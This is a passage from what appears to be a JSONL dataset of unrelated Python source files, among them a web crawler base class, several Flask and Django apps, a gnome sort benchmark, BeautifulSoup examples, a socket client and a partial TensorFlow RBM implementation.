'GET':\r\n try:\r\n request = requests.get(self.url, params = self.params, headers = self.header, proxies = self.proxy)\r\n except:\r\n return False\r\n elif self.http_fun == 'POST':\r\n try:\r\n request = requests.post(self.url, params = self.params, headers = self.header, proxies = self.proxy)\r\n except:\r\n return False\r\n else:\r\n raise RuntimeError('暂不支持该HTTP方法')\r\n\r\n request.encoding = self.coding\r\n return request\r\n\r\n def getCookie(self):\r\n # 获取数据库的代理信息\r\n proxy = common.getDbProxy(self.proxy)\r\n # 更新代理质量,失败返回下FALSE\r\n try:\r\n if self.http_fun == 'GET':\r\n headers = requests.get(self.url, params = self.params, headers = self.header, proxies = self.proxy).headers\r\n elif self.http_fun == 'POST':\r\n headers = requests.post(self.url, params = self.params, headers = self.header, proxies = self.proxy).headers\r\n common.proxyCallback(proxy, 1)\r\n except Exception as err:\r\n common.proxyCallback(proxy, 0)\r\n return False\r\n\r\n setCookie = headers['Set-Cookie']\r\n content = re.sub(r' |\\t|\\r|\\n|\\f|\\v', '', setCookie)\r\n content = content.split(';')\r\n reject_values = ['Path=/', 'HttpOnly']\r\n reject_keys = ['Domain', 'Expires', 'Path']\r\n cookie = ''\r\n for value in content:\r\n if value in reject_values:\r\n continue\r\n sub_value = value.split(',')\r\n for sub in sub_value:\r\n if '=' in sub:\r\n one = sub.split('=')\r\n if one[0] not in reject_keys:\r\n cookie = cookie + sub + ';'\r\n return cookie[:-1]\r\n","sub_path":"Crawler/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"2259362","text":"# Native modules\r\nimport os, sys, datetime\r\n# Downloaded modules\r\n\r\n# Custom modules\r\nimport mod_logger\r\n\r\n# Constants\r\nFILENAME_VALID_CHARS = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_()[] \"\r\n\r\n\r\nthis_logger = mod_logger.Logger(__name__)\r\n\r\ndef askFilename(p_outputdir):\r\n\ttry:\r\n\t\toutputfile = input(\"Enter a name for the output report file: \")\r\n\r\n\t\t# Checks if outputfile is not empty\r\n\t\tif((outputfile == None) or (outputfile == \"\")):\r\n\t\t\tthis_logger.error(\"Output file name is empty. Can not save without a file name. Exiting program.\", True)\r\n\r\n\t\t# Checks if outputfile has invalid characters\r\n\t\tfor char in outputfile:\r\n\t\t\tif (char not in FILENAME_VALID_CHARS):\r\n\t\t\t\tthis_logger.error(\"Output file name has invalid characters. Can not save without a valid file name. Exiting program.\", True)\r\n\r\n\t\t# Checks if results dir exists, if not, create\r\n\t\tif(not(os.path.isdir(p_outputdir))):\r\n\t\t\tos.makedirs(p_outputdir)\r\n\r\n\t\t# Adds timestamp of date to output filename\r\n\t\ttimestamp = datetime.datetime.now().strftime(\"%Y-%m-%d\")\r\n\t\toutputfile = outputfile+\"_(\"+timestamp+\")\"\r\n\r\n\t\treturn outputfile\r\n\r\n\texcept Exception:\r\n\t\tthis_logger.error(sys.exc_info())","sub_path":"Python/scripts/v1/mod_UI.py","file_name":"mod_UI.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"222296839","text":"from flask import Flask, jsonify, request\nfrom flask_cors import CORS\nfrom housingdata import getapartments\n\n# configuration\nDEBUG = True\n\n# instantiate the app\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n# enable CORS\nCORS(app, resources={r'/*': {'origins': '*'}})\n\n# sanity check route\n@app.route('/list/', methods=['GET'])\ndef ping_pong():\n url = request.args.get('URL', '')\n csv = getapartments(url)\n return jsonify({\n 'status': 'success',\n 'csv': csv})\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"306291036","text":"# Imports\nimport cv2\nimport numpy as np \nimport argparse\nimport imutils\n\nap = argparse.ArgumentParser()\n\nap.add_argument('-i', '--image', required = True, \n\thelp = \"image to play with.\")\n\nargs = vars(ap.parse_args())\n\nimage = cv2.imread(args['image'])\ncv2.imshow(\"Hey look! Our starting image!\", image)\n#cv2.waitKey(0)\n\n# Let's see what happens if we translate up and then down\nimage = imutils.translate(image, 0, -100)\ncv2.imshow(\"Translated up by 100\", image)\n#cv2.waitKey(0)\n\nimage = imutils.translate(image, 0, 100)\ncv2.imshow(\"Translated down by 100, should be same as what we started with!\", \n\timage)\ncv2.waitKey(0)\n\n# OK Great Now let's make a loop that chops the image to bits!\nimage = cv2.imread(args[\"image\"])\n\n\n","sub_path":"1.4.1_Translation.py","file_name":"1.4.1_Translation.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"188629102","text":"\"\"\"Main app module.\"\"\"\n\nfrom flask import Flask, jsonify\nfrom flask_cors import CORS\nfrom flask_restful import Api\n\nfrom api.endpoints.activity_types import ActivityTypesAPI\nfrom api.endpoints.activities import ActivitiesAPI\nfrom api.endpoints.societies import SocietyResource, AddCohort\nfrom api.endpoints.redemption_requests import PointRedemptionAPI\nfrom api.endpoints.redemption_requests import RedemptionRequestNumeration\nfrom api.endpoints.redemption_requests import RedemptionRequestFunds\nfrom api.endpoints.users import UserAPI\nfrom api.endpoints.logged_activities import (UserLoggedActivitiesAPI,\n SecretaryReviewLoggedActivityAPI)\nfrom api.endpoints.logged_activities import LoggedActivitiesAPI\nfrom api.endpoints.logged_activities import LoggedActivityAPI\nfrom api.endpoints.logged_activities import (LoggedActivityApprovalAPI,\n LoggedActivityRejectionAPI,\n LoggedActivityInfoAPI)\nfrom api.endpoints.roles import RoleAPI, SocietyRoleAPI\nfrom api.models import db\n\n\ntry:\n from .config import configuration\nexcept ImportError:\n from config import configuration\n\n\ndef create_app(environment=\"Production\"):\n \"\"\"Factory Method that creates an instance of the app with the given env.\n\n Args:\n environment (str): Specify the configuration to initilize app with.\n\n Return:\n app (Flask): it returns an instance of Flask.\n \"\"\"\n app = Flask(__name__)\n app.config.from_object(configuration[environment])\n db.init_app(app)\n\n api = Api(app=app)\n\n # enable cross origin resource sharing\n CORS(app)\n\n # activities endpoints\n api.add_resource(\n ActivitiesAPI, '/api/v1/activities', '/api/v1/activities/',\n endpoint='activities'\n )\n\n # activity types endpoints\n api.add_resource(\n ActivityTypesAPI, '/api/v1/activity-types',\n '/api/v1/activity-types/', endpoint='activity_types'\n )\n\n api.add_resource(\n ActivityTypesAPI,\n '/api/v1/activity-types/',\n '/api/v1/activity-types//',\n endpoint='activity_types_detail'\n )\n\n # user logged activities\n api.add_resource(\n LoggedActivitiesAPI,\n '/api/v1/logged-activities', '/api/v1/logged-activities/',\n endpoint='logged_activities'\n )\n api.add_resource(\n LoggedActivityAPI,\n '/api/v1/logged-activities/',\n '/api/v1/logged-activities//',\n endpoint='logged_activity'\n )\n\n api.add_resource(\n UserLoggedActivitiesAPI,\n '/api/v1/users//logged-activities',\n '/api/v1/users//logged-activities/',\n endpoint='user_logged_activities'\n )\n\n # society secretary logged Activity endpoint\n api.add_resource(\n SecretaryReviewLoggedActivityAPI,\n '/api/v1/logged-activities/review/',\n '/api/v1/logged-activities/review//',\n endpoint='secretary_logged_activity'\n )\n\n # Success Ops Requesting more informaton on a logged activity\n api.add_resource(\n LoggedActivityInfoAPI,\n '/api/v1/logged-activities/info/',\n '/api/v1/logged-activities/info//',\n endpoint='info_on_logged_activity'\n )\n\n # Success-Ops Approval of LoggedActivities\n api.add_resource(\n LoggedActivityApprovalAPI,\n \"/api/v1/logged-activities/approve\",\n \"/api/v1/logged-activities/approve/\",\n endpoint=\"approve_logged_activities\"\n )\n\n # Success-Ops Rejection of LoggedActivities\n api.add_resource(\n LoggedActivityRejectionAPI,\n \"/api/v1/logged-activity/reject/\",\n \"/api/v1/logged-activity/reject//\",\n endpoint=\"reject_logged_activity\"\n )\n\n # user endpoints\n api.add_resource(\n UserAPI,\n '/api/v1/users/',\n '/api/v1/users//',\n endpoint='user_info'\n )\n\n # society endpoints\n api.add_resource(\n SocietyResource,\n \"/api/v1/societies\",\n \"/api/v1/societies/\",\n \"/api/v1/societies/\",\n \"/api/v1/societies//\",\n\n endpoint=\"society\"\n )\n\n # redemption endpoints\n api.add_resource(\n PointRedemptionAPI, \"/api/v1/societies/redeem\",\n \"/api/v1/societies/redeem/\",\n endpoint=\"point_redemption\"\n )\n\n api.add_resource(\n PointRedemptionAPI, \"/api/v1/societies/redeem/\",\n \"/api/v1/societies/redeem//\",\n endpoint=\"point_redemption_detail\"\n )\n\n api.add_resource(\n RedemptionRequestNumeration,\n \"/api/v1/societies/redeem/verify/\",\n \"/api/v1/societies/redeem/verify//\",\n endpoint=\"redemption_numeration\"\n )\n\n api.add_resource(\n RedemptionRequestFunds,\n \"/api/v1/societies/redeem/funds/\",\n \"/api/v1/societies/redeem/funds//\",\n endpoint=\"redemption_request_funds\"\n )\n\n # Add Cohort to society\n api.add_resource(\n AddCohort, \"/api/v1/societies/cohorts\"\n )\n\n # role endpoints\n api.add_resource(\n RoleAPI, \"/api/v1/roles\", \"/api/v1/roles/\",\n endpoint=\"role\"\n )\n\n api.add_resource(\n RoleAPI, \"/api/v1/roles/\",\n \"/api/v1/roles//\",\n endpoint=\"role_detail\"\n )\n\n api.add_resource(\n SocietyRoleAPI, \"/api/v1/roles/society-execs\",\n \"/api/v1/roles/society-execs/\",\n endpoint=\"society_execs_roles\"\n )\n\n # enable health check ping to API\n @app.route('/')\n def health_check_url():\n response = jsonify(dict(message='Welcome to Andela societies API.'))\n response.status_code = 200\n return response\n\n # handle default 404 exceptions with a custom response\n @app.errorhandler(404)\n def resource_not_found(error):\n response = jsonify(dict(\n error='Not found',\n message='The requested URL was not found on the server.'))\n response.status_code = 404\n return response\n\n # handle default 500 exceptions with a custom response\n @app.errorhandler(500)\n def internal_server_error(error):\n response = jsonify(dict(\n error='Internal server error',\n message=\"The server encountered an internal error.\"))\n response.status_code = 500\n return response\n\n return app\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"342721684","text":"from flask import request, render_template, redirect, url_for, current_app\nfrom todolist import todo_task, create_app, db\n\n# Initialize the application and db.\napp = create_app()\ndb.create_all(app=app)\n\n\n@app.route('/')\ndef homepage():\n \"\"\"Display the main page of the application.\"\"\"\n return render_template(\n 'main.html',\n active_tasks=todo_task.Task.query.filter_by(\n active=True).order_by(todo_task.Task.target_date).all(),\n completed_tasks=todo_task.Task.query.filter_by(\n active=False).order_by(todo_task.Task.target_date).all()\n )\n\n\n@app.route('/task/new/', methods=['GET', 'POST'])\ndef add_task():\n \"\"\"If the request is a GET request, show the form to create a new Task, or\n if the request is a POST request, attempt to create a new Task instance.\"\"\"\n if request.method == 'GET':\n\n # Show the form page.\n return render_template('new_task.html')\n\n elif request.method == 'POST':\n\n # Create new task.\n new_task = todo_task.Task(\n title=request.form['taskTitle'],\n target_date=request.form['targetDate']\n )\n db.session.add(new_task)\n\n app.logger.debug(\n 'Attempting to create task: {}'.format(new_task)\n )\n\n db.session.commit()\n\n # Redirect the user back to the homepage after creating the new Task.\n return redirect(url_for('homepage'))\n\n\n@app.route('/task//remove/')\ndef remove_task(task_id):\n \"\"\"Delete the task with the specified task ID.\"\"\"\n\n # Try to find the specified task by ID number, and throw a 404 if the ID is not found.\n task = todo_task.Task.query.filter_by(id=task_id).first_or_404()\n\n db.session.delete(task)\n\n app.logger.debug(\n 'Attempting to delete task: {}'.format(task)\n )\n\n db.session.commit()\n\n # Redirect the user back to the homepage after deleting the task.\n return redirect(url_for('homepage'))\n\n\n@app.route('/task//toggle/')\ndef toggle_task_active(task_id):\n \"\"\"Toggle the completion status of a task, based on the given task ID.\"\"\"\n\n # Try to find the specified task by ID number, and throw a 404 if the ID is not found.\n task = todo_task.Task.query.filter_by(id=task_id).first_or_404()\n\n # Toggle the \"active\" status of the task.\n task.active = not task.active\n\n app.logger.debug(\n 'Attempting to set the \\'active\\' flag to {} for task: {}'.format(task.active, task)\n )\n\n db.session.commit()\n\n # Redirect the user back to the homepage after epdating the task.\n return redirect(url_for('homepage'))\n","sub_path":"todolist/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"527862443","text":"from django.db import models\nfrom django.contrib import admin\n\nclass User(models.Model):\n\t\"\"\"docstring for User.\"\"\"\n\tusername = models.CharField('用户名', max_length=50, blank=False) # blank=False 表示必填\n\tpassword = models.CharField('密 码', max_length=50, blank=False)\n\temail = models.EmailField('邮 箱', blank=False)\n\tphone = models.CharField('电话号码', max_length=11, blank=False)\n\ttime = models.DateTimeField('创建时间', auto_now=True)\n\tclass Meta:\n\t\t\"\"\"docstring for Meta.\"\"\"\n\t\tverbose_name_plural = \"Users\"\t# 指定模型名称复数形式,否则会自动加s\n\tdef __str__(self):\n\t\treturn self.username\n\nclass UserAdmin(admin.ModelAdmin):\n\t\"\"\"docstring for .\"\"\"\n\tlist_display = (\"username\" , \"time\")\n\nadmin.site.register(User , UserAdmin)\n# **********************************************************************\nclass Goods(models.Model):\n\t\"\"\"docstring for Goods.\"\"\"\n\tname = models.CharField(\"货物名称\", max_length = 50)\n\tdeparture = models.CharField('出发地', max_length=50)\n\tdestination = models.CharField('目的地', max_length=50)\n\tphone = models.CharField('电话号码', max_length=11, blank=False)\n\ttime = models.DateTimeField('创建时间', auto_now=True)\n\treceive = models.CharField('是否接单', max_length=10, default=\"否\")\n\tothers = models.TextField('其他备注')\n\n\tclass Meta:\n\t\t\"\"\"docstring for Meta.\"\"\"\n\t\tverbose_name_plural = \"Goods\"\n\tdef __str__(self):\n\t\treturn self.name\n\nclass GoodsAdmin(admin.ModelAdmin):\n\t\"\"\"docstring for .\"\"\"\n\tlist_display = (\"name\" , \"time\")\n\nadmin.site.register(Goods , GoodsAdmin)\n# ************************************************************************\nclass Car(models.Model):\n\t\"\"\"docstring for Goods.\"\"\"\n\tname = models.CharField('车主姓名', max_length=50)\n\tnum = models.CharField('车辆牌照', max_length=10)\n\tphone = models.CharField('车主手机号码', max_length=11)\n\ttime = models.DateTimeField('创建时间', auto_now=True)\n\tothers = models.TextField('其他备注')\n\tclass Meta:\n\t\t\"\"\"docstring for Meta.\"\"\"\n\t\tverbose_name_plural = \"Cars\"\n\tdef __str__(self):\n\t\treturn self.name\n\nclass CarAdmin(admin.ModelAdmin):\n\t\"\"\"docstring for .\"\"\"\n\tlist_display = (\"name\" , \"time\")\n\nadmin.site.register(Car , CarAdmin)\n","sub_path":"mysite/online/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"403141699","text":"import matplotlib.pyplot as plt\nfrom random import randint, shuffle\nimport timeit\n\nnumbers = [10000, 20000, 40000, 50000, 100000, 200000]\n#numbers = [100000, 200000, 400000, 500000, 1000000, 2000000]\n'''\nObserve: Deixei executando até 2.000.000 por mais de 20 HORAS.\nE não terminou, então fiz até 200.000 que por sua vez demorou mais de 5 horas.\n'''\n\ndef drawGraph(x,y, xl = \"Nº de Elementos\", yl = \"Tempo(s)\", nam=\"img\"):\n fig = plt.figure(figsize=(10, 13))\n ax = fig.add_subplot(111)\n ax.plot(x,y, label = \"Gnome Sort\")\n ax.legend(bbox_to_anchor=(1, 1),bbox_transform=plt.gcf().transFigure)\n plt.ylabel(yl)\n plt.xlabel(xl)\n plt.savefig(nam)\n\ndef geraLista(tam):\n lista = list(range(1, tam+1))\n shuffle(lista)\n return lista\n\ndef GnomeSort(lista):\n aux = list(lista)\n \n tamanho = len(aux)\n \n if tamanho < 2:\n return aux\n \n pivo = 0 \n aux_comprimento = len(aux)\n \n while pivo < aux_comprimento - 1:\n\n if aux[pivo] > aux[pivo + 1]:\n\n aux[pivo + 1], aux[pivo] = aux[pivo], aux[pivo + 1]\n\n if pivo > 0:\n pivo -= 2\n\n pivo += 1\n \n return aux\n\ndef Imprime(nums0):\n nums = nums0\n time = []\n for r in nums:\n print (r)\n vector = geraLista(r)\n tempo = timeit.timeit(\"GnomeSort({})\".format(vector),setup=\"from __main__ import GnomeSort\",number=1)\n time.append(tempo)\n\n drawGraph(nums, time, nam = \"GnomeSort.png\")\n\nImprime(numbers)\n\n","sub_path":"Gnome Sort/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"584914439","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 12 15:17:27 2020\n\n@author: mcsbi\n\"\"\"\n\"\"\"\nBelow, we’ve provided a list of lists. Use in statements to create variables\n with Boolean values - see the ActiveCode window for further directions.\n\"\"\"\nL = [[5, 8, 7], ['hello', 'hi', 'hola'], [6.6, 1.54, 3.99], ['small', 'large']]\n\n# Test if 'hola' is in the list L. Save to variable name test1\n\nif 'hola' in L:\n test1 = True\n \nelse:\n test1 = False\nprint(test1)\n\n# Test if [5, 8, 7] is in the list L. Save to variable name test2\n\nif [5, 8, 7] in L:\n test2 = True\nelse:\n test2 = False\nprint(test2)\n\n# Test if 6.6 is in the third element of list L. Save to variable name test3\n\nif 6.6 in L[2]:\n test3 = True\nelse:\n test3 = False\nprint(test3)\n","sub_path":"week1_nestedData_nestedIteration/w1_3.py","file_name":"w1_3.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"124848718","text":"from PyQt4.QtGui import QListView, QAbstractItemView\nfrom PyQt4.QtCore import Qt, pyqtSignal\n\n\nclass HDFSFileListView(QListView):\n filesDropped = pyqtSignal(list, name=\"filesDropped\")\n selection_changed = pyqtSignal(name=\"selectionChanged\")\n\n def __init__(self, parent=None):\n \"\"\"\n Custom with handling keysequences like copy/cut/paste\n \"\"\"\n super(HDFSFileListView, self).__init__(parent)\n\n # following are set by in default. this should be sync with ui design\n # ui design will override them.\n self.setViewMode(QListView.IconMode)\n self.setFlow(QListView.LeftToRight)\n self.setWordWrap(True)\n self.setWrapping(True)\n self.setSelectionMode(QAbstractItemView.ExtendedSelection)\n # self.setGridSize(QSize(150,100))\n # self.setIconSize(QSize(64, 64))\n self.setDragEnabled(True)\n self.setAcceptDrops(True) # accepts mime\n self.setDropIndicatorShown(True)\n self.setContextMenuPolicy(Qt.CustomContextMenu)\n self.setDragDropMode(QAbstractItemView.DragDrop)\n # self.setSelectionMode(QAbstractItemView.ContiguousSelection)\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasUrls:\n event.accept()\n else:\n event.ignore()\n\n def dragMoveEvent(self, event):\n if event.mimeData().hasUrls:\n event.setDropAction(Qt.CopyAction)\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n if event.mimeData().hasUrls:\n event.setDropAction(Qt.CopyAction)\n event.accept()\n links = []\n for url in event.mimeData().urls():\n links.append(str(url.toLocalFile()))\n self.filesDropped.emit(links)\n # else:\n # event.ignore()\n\n def selectionChanged(self, selected, unselected):\n super(HDFSFileListView, self).selectionChanged(selected, unselected)\n self.selection_changed.emit()\n","sub_path":"hdfsexplorer/qtui/components/explorerwidget/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"385883984","text":"#!/usr/bin/python3\nprint('content-type:text/html;charset=UTF-8\\n')\n\nimport bs4\nhtml_str = \"
hello
\"\nbs_obj = bs4.BeautifulSoup(html_str, \"html.parser\")\n\nprint(\"--------------------------------------\")\nprint(\"ex_1 : Finding element\")\nprint(\"type(bs_obj) :\",type(bs_obj))\nprint(\"bs_obj :\",bs_obj)\nprint('bs_obj.find(\"div\") :',bs_obj.find(\"div\"))\nprint(\"--------------------------------------\")\nprint(\"ex_2 : Finding elements list\")\nhtml_str = \"\"\"\n\n \n
    \n
  • hello
  • \n
  • bye
  • \n
  • welcome
  • \n
\n \n\n\"\"\"\n\nbs_obj = bs4.BeautifulSoup(html_str,\"html.parser\")\n\nul = bs_obj.find(\"ul\")\nli = ul.find(\"li\")\nprint(\"li :\",li)\nprint(\"li.text :\",li.text)\nliList = ul.findAll(\"li\")\nprint(\"ul.findAll(\\\"li\\\") :\",liList)\nindex=0\nfor li in liList :\n print(\"liList[\",index,\"] :\",li)\n index=index+1\n\nprint(\"--------------------------------------\")\n\nprint(\"ex_3 : Finding element by property\")\nhtml_str = \"\"\"\n\n \n
    \n
  • hello
  • \n
  • bye
  • \n
  • welcome
  • \n
\n \n
    \n
  • ok
  • \n
  • no
  • \n
  • sure
  • \n
\n \n\n\"\"\"\nbs_obj = bs4.BeautifulSoup(html_str,\"html.parser\")\n\nul = bs_obj.find(\"ul\",{\"class\":\"reply\"})\nprint(ul)\nprint(type(ul))\n\nprint(\"--------------------------------------\")\nhtml_str = \"\"\"\n\n \n \n \n \n\n\"\"\"\nbs_obj = bs4.BeautifulSoup(html_str,\"html.parser\")\n\nfirstURL = bs_obj.find(\"ul\",{\"class\":\"ko\"})\nnaver = firstURL.findAll(\"a\")[0]\nsites=[\"naver\",\"daum\"]\n\nfor idx,site in enumerate(sites) :\n siteURL = {site : firstURL.findAll(\"a\")[idx]}\nprint(siteURL[\"daum\"][\"href\"])\n","sub_path":"Python/WebCrawling/BeautifulSoup.py","file_name":"BeautifulSoup.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"49190435","text":"import ael\n\n\ndef ChangePartyType(temp, ptyid, type, *rest):\n result = '0'\n p = ael.Party[ptyid]\n if p.type:\n #print p.ptyid #, p.type\n if p.type != type:\n p_clone = p.clone()\n p_clone.type = type\n try:\n p_clone.commit()\n result = ptyid + ' committed'\n except:\n result = ptyid + ' failed to commit'\n else:\n result = 'Party already of type ' + type\n\n return result\n\n return result\n\n \n#main\n'''\nPartyNames=['SECURITY SPV 3 PTY LTD']\nfor x in PartyNames:\n print ChangePartyType(1, x, 'Counterparty')\n'''\n \n","sub_path":"Python modules/SAGEN_Change_CP_type.py","file_name":"SAGEN_Change_CP_type.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"131577166","text":"# Popular Names\r\n\r\nboy = open(\"BoyNames.txt\", \"r\")\r\ngirl = open(\"GirlNames.txt\", \"r\")\r\n\r\n# Collects boy names from file\r\nboy_list = []\r\nfor line in boy:\r\n boy_list.append(line.strip())\r\n\r\n# Collects girl names from file\r\ngirl_list = []\r\nfor line in girl:\r\n girl_list.append(line.strip())\r\n\r\n# Name popularity checker\r\nwhile True:\r\n guess = input(\"Enter a name to check, or 'stop' to stop: \")\r\n \r\n if guess == \"stop\":\r\n break\r\n\r\n if (guess in boy_list) and (guess in girl_list):\r\n boy_rank = (boy_list.index(guess) + 1) # Accounts for index 0\r\n girl_rank = (girl_list.index(guess) + 1)\r\n \r\n print(guess.title(), \"is a popular boys name and is ranked:\", \r\n str(boy_rank))\r\n print(guess.title(), \"is a popular girls name and is ranked:\", \r\n str(girl_rank))\r\n \r\n elif guess in boy_list:\r\n boy_rank = (boy_list.index(guess) + 1) \r\n print(guess.title(), \"is a popular boys name and is ranked:\", \r\n str(boy_rank))\r\n print(guess.title(), \"is not a popular girls name.\")\r\n \r\n elif guess in girl_list:\r\n girl_rank = (girl_list.index(guess) + 1)\r\n print(guess.title(), \"is a popular girls name and is ranked:\", \r\n str(girl_rank))\r\n print(guess.title(), \"is not a popular boys name.\")\r\n \r\n else:\r\n print(guess.title(), \"is not a popular boys name.\")\r\n print(guess.title(), \"is not a popular girls name.\")\r\n \r\nboy.close()\r\ngirl.close()\r\n","sub_path":"CS 131/Project 9/Project_Nine.py","file_name":"Project_Nine.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"300782301","text":"# client\n\nimport socket\n\naddress = ('127.0.0.1', 31500)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect(address)\n\ndata = s.recv(512)\nprint(('the data received is', data))\n\nmsg='欢迎访问菜鸟教程!'+ \"\\r\\n\"\ns.send(msg.encode('utf-8'))\n\ns.close()","sub_path":"hello/net1/tcp_client2.py","file_name":"tcp_client2.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"615192267","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Dec 27 03:36:35 2018\r\n\r\n@author: isaac\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport sys\r\nfrom util import tf_xavier_init\r\n\r\n\r\nclass RBM:\r\n def __init__(self,\r\n n_visible,\r\n n_hidden,\r\n momentum=0.95,\r\n xavier_const=1.0,\r\n err_function='mse',\r\n use_tqdm=False,\r\n logsdir = None,\r\n # DEPRECATED:\r\n tqdm=None):\r\n if not 0.0 <= momentum <= 1.0:\r\n raise ValueError('momentum should be in range [0, 1]')\r\n\r\n if err_function not in {'mse', 'cosine', 'rmse'}:\r\n raise ValueError('err_function should be either \\'mse\\', \\'rmse\\' or \\'cosine\\'')\r\n \r\n self._use_tqdm = use_tqdm\r\n self._tqdm = None\r\n\r\n if use_tqdm or tqdm is not None:\r\n from tqdm import tqdm\r\n self._tqdm = tqdm\r\n\r\n self.n_visible = n_visible\r\n self.n_hidden = n_hidden\r\n self.learning_rate_ph = tf.placeholder(tf.float32, ())#learning_rate\r\n self.momentum = momentum\r\n\r\n self.x = tf.placeholder(tf.float32, [None, self.n_visible])\r\n self.y = tf.placeholder(tf.float32, [None, self.n_hidden])\r\n \r\n# self.w = tf.Variable(tf.random_normal(mean=0.0, stddev=(1/self.n_visible), dtype = tf.float32, shape = [self.n_visible, self.n_hidden]))\r\n# self.w = tf.Variable(tf.random_normal(mean=0.0, stddev=(0.1), dtype = tf.float32, shape = [self.n_visible, self.n_hidden]))\r\n self.w = tf.Variable(tf_xavier_init(self.n_visible, self.n_hidden, const=xavier_const), dtype=tf.float32)\r\n \r\n \r\n self.visible_bias = tf.Variable(1*tf.ones([self.n_visible]), dtype=tf.float32)\r\n# self.hidden_bias = tf.Variable(tf.random_uniform(minval = 0, maxval = 1, dtype = tf.float32, shape = [self.n_hidden]))\r\n self.hidden_bias = tf.Variable(1*tf.ones([self.n_hidden]), dtype=tf.float32)\r\n\r\n self.delta_w = tf.Variable(tf.zeros([self.n_visible, self.n_hidden]), dtype=tf.float32)\r\n self.delta_visible_bias = tf.Variable(tf.zeros([self.n_visible]), dtype=tf.float32)\r\n self.delta_hidden_bias = tf.Variable(tf.zeros([self.n_hidden]), dtype=tf.float32)\r\n \r\n self.update_weights = None\r\n self.update_deltas = None\r\n self.compute_hidden = None\r\n self.compute_visible = None\r\n self.compute_visible_from_hidden = None\r\n\r\n self._initialize_vars()\r\n\r\n assert self.update_weights is not None\r\n assert self.update_deltas is not None\r\n assert self.compute_hidden is not None\r\n assert self.compute_visible is not None\r\n assert self.compute_visible_from_hidden is not None\r\n\r\n if err_function == 'cosine':\r\n x1_norm = tf.nn.l2_normalize(self.x, 1)\r\n x2_norm = tf.nn.l2_normalize(self.compute_visible, 1)\r\n cos_val = tf.reduce_mean(tf.reduce_sum(tf.mul(x1_norm, x2_norm), 1))\r\n self.compute_err = tf.acos(cos_val) / tf.constant(np.pi)\r\n elif err_function == 'mse':\r\n self.compute_err = tf.reduce_mean(tf.square(self.x - self.compute_visible))\r\n else: #rmse\r\n self.compute_err = tf.sqrt(tf.reduce_mean(tf.square(self.x - self.compute_visible)))\r\n\r\n\r\n hist_bv = tf.summary.histogram('visible_bias', self.visible_bias) \r\n hist_b = tf.summary.histogram('hidden_bias', self.hidden_bias)\r\n hist_w = tf.summary.histogram(\"w\", self.w)\r\n \r\n self.hists_vars = tf.summary.merge([hist_w] + [hist_b] + [hist_bv])\r\n \r\n self.loss_ph = tf.placeholder(tf.float32, shape = (), name=\"loss_placeholder\")\r\n self.summary_loss = tf.summary.scalar(\"loss\", self.loss_ph)\r\n \r\n self.hist_metrics = tf.summary.merge([self.summary_loss])\r\n\r\n\r\n self.logs_dir = logsdir\r\n\r\n if self.logs_dir is not None:\r\n self.train_writer = tf.summary.FileWriter(self.logs_dir+\"/logs/train\")\r\n# self.test_writer = tf.summary.FileWriter(self.logs_dir+\"/logs/test\")\r\n\r\n\r\n self.hidden_bias_below_zero = tf.cast(tf.math.greater(tf.zeros_like(self.hidden_bias), self.hidden_bias), tf.float32)\r\n self.bias_below_zero = tf.cast(self.hidden_bias.assign(tf.abs(self.hidden_bias)), tf.float32)\r\n self.hidden_bias_correction = self.hidden_bias.assign(self.hidden_bias*self.hidden_bias_below_zero)\r\n\r\n# self.hidden_bias_below_zero = tf.cast(tf.math.greater(tf.zeros_like(self.hidden_bias), self.hidden_bias), tf.float32)\r\n# self.hidden_bias_correction = self.hidden_bias.assign_add(tf.abs(tf.reduce_mean(self.hidden_bias))*self.hidden_bias_below_zero)\r\n\r\n self.visible_bias_below_zero = tf.cast(tf.math.greater(tf.zeros_like(self.visible_bias), self.visible_bias), tf.float32)\r\n self.visible_bias_correction = 